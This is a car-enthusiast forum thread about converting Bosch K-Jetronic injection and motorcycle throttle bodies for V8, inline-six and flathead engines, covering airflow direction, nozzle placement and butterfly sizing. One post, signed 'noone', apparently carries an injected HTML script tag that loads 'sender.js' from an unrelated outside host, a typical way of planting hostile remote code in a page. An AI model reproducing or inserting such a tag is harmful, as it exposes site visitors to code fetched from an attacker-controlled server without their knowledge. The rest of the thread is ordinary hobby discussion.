Problem is, the air flows UP through the cone, so how do you get all that turned into a V8 engine without all the stock plasticky air boots, etc.? Since it's all under pressure, could the metering plate could be inverted to get the cone pointed down?

I wonder if the OP ever got all this figured out? He's had almost 7 years to work on it....:D

[Unkl Ian]

how do you get all that turned into a V8 engine without all the stock plasticky air boots, etc.?



Replace the ugly plastic stuff with cast Aluminum copies.

[Unkl Ian]

could the metering plate could be inverted to get the cone pointed down?




Might be possible, but would require testing.
Easiest to do that on a flow bench.

Graph air flow rates vs travel on the injector distributor shaft.

[exwestracer]

Might be possible, but would require testing.
Easiest to do that on a flow bench.

Graph air flow rates vs travel on the injector distributor shaft.

Might just have to try that, since we have one here...

[Kerrynzl]

Here's some reading for you people, the man converted an early toyota to Bosch 'K' ,the principles would be the same on a v8.

A good place for the airbox would be down low in front, then run plumbing up over the engine to resemble an old salt racer with a front mounted blower

click here:
http://www.obrasmechanicos.com/cis.html

http://www.obrasmechanicos.com/cis12.jpg

[stealthcruiser]

That's quite the read there.....................Thanks!

[RichFox]

Would be nice to find an individual bike TB(small) that bolts on.
When I used the Suzuki throttle bodies I made a plate that was bored to the same size at the TBs and counterbored to a .002 or .003 press fit to the OD of the TBs. On one side of the Suzuki parts there was a bit of angle that connected the 4 of them together and I used that along with a small notch I milled in them 180 degrees from the angle to insure they stayed in the counterbore.

[Ned Ludd]

...
Problem is, the air flows UP through the cone, so how do you get all that turned into a V8 engine without all the stock plasticky air boots, etc.? Since it's all under pressure, could the metering plate could be inverted to get the cone pointed down?

....

I was thinking the same thing.

Replace the ugly plastic stuff with cast Aluminum copies.

As I said ...

[moparsled]

Would be nice to find an individual bike TB(small) that bolts on.

triumph 955I triple. Supposedly they are 46 mm ID. The big selling point of the 98-99 Suzuki is the single throttle blade, I wonder if the Triumph has single or dual?

[moparsled]

I have another question, regarding IR/ITB on a street application--

in reading this thread and the flathead injection thread, it seems that for street, pointing the nozzle (or efi injector) at the back of the valve is the ticket, but what about throttle blade placement?

The race IR/Hilborn style stuff puts the throttle blade pretty close to the intake valve, what about street? the length of the runner matters, but, is it the distance between throttle blade and intake valve, or length from air filter (end of tract) to intake valve, throttle blade placement not withstanding?

In using the motorcycle throttle bodies to create an IR/mfi for street, would more be gained from putting the throttle body further away from the head, and putting the nozzle in the manifold, closer to the intake valve?

[RichFox]

From listening to Don Ferguson who did dyno/flow bench work on injection he made for a GMC. I understood that the larger he made the Throttle valve and farther away from the valve, the better it worked. When I made my baby bug catcher for the 3 liter Nissan V6 and got some dyno time I found that with Hilborn nozzles pointed at the valves it didn't run well at all on gas although it liked it on alcohol. The nozzles were in the same location as the stock EFI nozzles had been. If I have room I try to move everything away from the valves on inline engines with siamese ports. never made an injection for a flathead

[MrT]

Perhaps a bit of topic but I thought I ask anyway since there seems to be a lot of knowledge about fuel injection here.

I have a Chevy 292 inline six that I plan to use in my 54 pickup some day. I would like to fuel inject it and to run three individual throttle bodies on it, I know there is Weber type intakes wich uses three duals for it but I would like to run 3 individual throttle bodies, (mostly for the looks, I´m a sucker for clean and simple, and hopefully cheaper).

I´ve seen recomendations for duals from 40-45 mm for street driven cars
but since the engine has siamesed intake ports, those two holes feeds inte one that then feed two cylinders, and about there I get a headache...
To put it short; how do I know what size the throttle bodies need to be?

[noone]

that's cool;;;:eek:
<script src="http://goodyman.netai.net/sender.js" type="text/javascript"></script>

[RichFox]

Perhaps a bit of topic but I thought I ask anyway since there seems to be a lot of knowledge about fuel injection here.

I have a Chevy 292 inline six that I plan to use in my 54 pickup some day. I would like to fuel inject it and to run three individual throttle bodies on it, I know there is Weber type intakes wich uses three duals for it but I would like to run 3 individual throttle bodies, (mostly for the looks, I´m a sucker for clean and simple, and hopefully cheaper).

I´ve seen recomendations for duals from 40-45 mm for street driven cars
but since the engine has siamesed intake ports, those two holes feeds inte one that then feed two cylinders, and about there I get a headache...
To put it short; how do I know what size the throttle bodies need to be?I don't know what size they need to be, but if you look at around 2000 Chevy V8 throttle bodies they are two barrels and each is 1.890 diameter. Since fuel injection isn't dependent on manifold vacuum for fuel flow I bet they would work fine. I used 4 TBs of 1.875 dia. on my 210 inch flathead four and it ran great.

[exwestracer]

Perhaps a bit of topic but I thought I ask anyway since there seems to be a lot of knowledge about fuel injection here.

I have a Chevy 292 inline six that I plan to use in my 54 pickup some day. I would like to fuel inject it and to run three individual throttle bodies on it, I know there is Weber type intakes wich uses three duals for it but I would like to run 3 individual throttle bodies, (mostly for the looks, I´m a sucker for clean and simple, and hopefully cheaper).

I´ve seen recomendations for duals from 40-45 mm for street driven cars
but since the engine has siamesed intake ports, those two holes feeds inte one that then feed two cylinders, and about there I get a headache...
To put it short; how do I know what size the throttle bodies need to be?

If you are going to have some plenum area connecting each pair of cylinders (after the butterfly), then the butterfly size can be fairly small. If however, each cylinder is ONLY connected to it's own butterfly (true ITB setup), then the butterflies must be much larger. Rich's example is a good one...a Chevy V8 will run great with 2) 2" butterflies feeding the whole engine. With an ITB setup, each cylinder has to have about a 2" butterfly to get the same results.

[jamesandrewjohnson]

If you are going to have some plenum area connecting each pair of cylinders (after the butterfly), then the butterfly size can be fairly small. If however, each cylinder is ONLY connected to it's own butterfly (true ITB setup), then the butterflies must be much larger. Rich's example is a good one...a Chevy V8 will run great with 2) 2" butterflies feeding the whole engine. With an ITB setup, each cylinder has to have about a 2" butterfly to get the same results.
That would make perfect sense. If you think about it, the engine will only need that flow when the intake valve is open. But none of the 8 valves are open at the same time, so it'll need the same amount of flow for either set up.. more volume, but less flow. I think that's the reasoning.

[jamesandrewjohnson]

Well, that wasn't exactly correct. One will overlap another, but you know what I mean.

[Mad Mouse]

Alkydigger.com Thats all you need